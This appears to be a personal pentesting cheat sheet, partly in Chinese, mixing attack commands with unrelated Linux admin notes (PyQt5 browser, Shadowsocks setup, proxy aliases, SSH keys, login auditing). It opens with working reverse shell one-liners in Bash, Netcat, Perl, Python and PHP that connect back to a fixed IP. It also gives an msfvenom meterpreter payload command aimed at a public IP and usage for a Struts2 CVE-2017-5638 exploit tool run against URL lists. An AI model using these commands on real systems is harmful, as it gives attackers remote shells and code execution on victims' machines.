Reverse Shell Cheat Sheet

set a listener:

nc -nvlp 443

Bash:

bash -i >& /dev/tcp/192.168.1.11/443 0>&1

Netcat

nc -nv 192.168.1.11 443 -e /bin/bash ##linux
nc.exe -nv 192.168.1.11 443 -e cmd   ##windows

Perl

perl -e 'use Socket;$i="192.168.1.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S ,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" /bin/bash -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("192.168.1.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Python PyQt5

使用Python3,PyQt5实现简易浏览器

from PyQt5.QtWidgets import QApplication
from PyQt5.QtWebEngineWidgets import QWebEngineView
from PyQt5.QtCore import QUrl

app = QApplication([])
view = QWebEngineView()
view.load(QUrl("https://translate.google.cn"))
view.show()
app.exec_()

SS安装脚本

一键安装:

wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.sh
chmod +x shadowsocks-all.sh
./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.log

多用户配置文件:vim /etc/shadowsocks-go/config.json

{
    "server":"0.0.0.0",
    "port_password":{
         "8989":"password0",
         "9001":"password1",
         "9002":"password2",
         "9003":"password3",
         "9004":"password4"
    },
    "method":"aes-256-cfb",
    "timeout":600
}

卸载:

./shadowsocks-all.sh uninstall

msf常用命令

Msf安装:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod 755 msfinstall && ./msfinstall

Msfshell

java/meterpreter/reverse_tcp

msfvenom -p java/meterpreter/reverse_tcp  LHOST=203.101.160.157 LPORT=8808 -f jar -o msfserver.jar

linux实用技巧

自定义终端命令启动程序

编辑 .bashrc 文件:

root@kali:~# vim .bashrc 
root@kali:~# source .bashrc

exm:

alias burp='setsid java -jar /root/softs/burpsuite_pro_v1.6.37.jar >/dev/null 2>&1 &'

echo "###" > file  ##替换文件
echo "###" >> file ##追加写入文件
echo "alias ss='ss start'" >> .bashrc

设置ssh免密码登录

在.ssh目录下:
本地主机: 
ssh-keygen -t rsa   ##生成id_rsa.pub
cat vps_rsa.pub >> authorized_keys   ##写入文件

复制authorized_keys到远程主机: 
scp -P 22 authorized_keys root@176.*.145.*:/root/.ssh
从远程主机下载文件:
scp -P 22 root@176.*.145.*:/root/test.txt /root/

批量操作文件

find ./ -name "*.docx" | awk -F "." '{print $2}' | xargs -i -t mv ./{}.docx  ./{}.doc   #批量修改后缀名

cp -r 'find root/a -iname *.doc' root/b   #批量复制某后缀名的文件

配置终端使用HTTP or SOCKS5代理

把代理服务器地址写入shell配置文件.bashrc或者.zshrc

直接在.bashrc或者.zshrc添加下面内容

export http_proxy="http://localhost:port"
export https_proxy="http://localhost:port"

以使用shadowsocks代理为例,ss的代理端口为1080,那么应该设置为

export http_proxy="socks5://127.0.0.1:1080"
export https_proxy="socks5://127.0.0.1:1080"

或者直接设置ALL_PROXY

export ALL_PROXY=socks5://127.0.0.1:1080

然后ESC后:wq保存文件,接着在终端中执行

source ~/.bashrc

或者退出当前终端再起一个终端。 这个办法的好处是把代理服务器永久保存了,下次就可以直接用了。

或者通过设置alias简写来简化操作,每次要用的时候输入setproxy,不用了就unsetproxy。

alias setproxy="export ALL_PROXY=socks5://127.0.0.1:1080"
alias unsetproxy="unset ALL_PROXY"
alias ip="curl ip.cn"

linux入侵检测基础

审计命令

last

这个命令可用于查看我们系统的成功登录、关机、重启等情况,本质就是将/var/log/wtmp文件格式化输出,因此如果该文件被删除,则无法输出结果。

相关参数:

last -10(-n) 查看最近10条记录
last -x reboot 查看重启的记录
last -x shutdown 查看关机的记录
last -d 查看登陆的记录
last –help 命令帮助信息
last -f wtmp 用last命令查看wtmp文件(直接打开无法查看)

s2-045 exp CVE-2017-5638

Usage:

Testing a single URL.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Testing a list of URLs.

python struts-pwn.py --list 'urls.txt' -c 'id'

Checking if the vulnerability exists against a single URL.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

Checking if the vulnerability exists against a list of URLs.

python struts-pwn.py --check --list 'urls.txt'

Requirements

Python2 or Python3
requests

https://github.com/mazen160/struts-pwn/blob/master/struts-pwn.py

|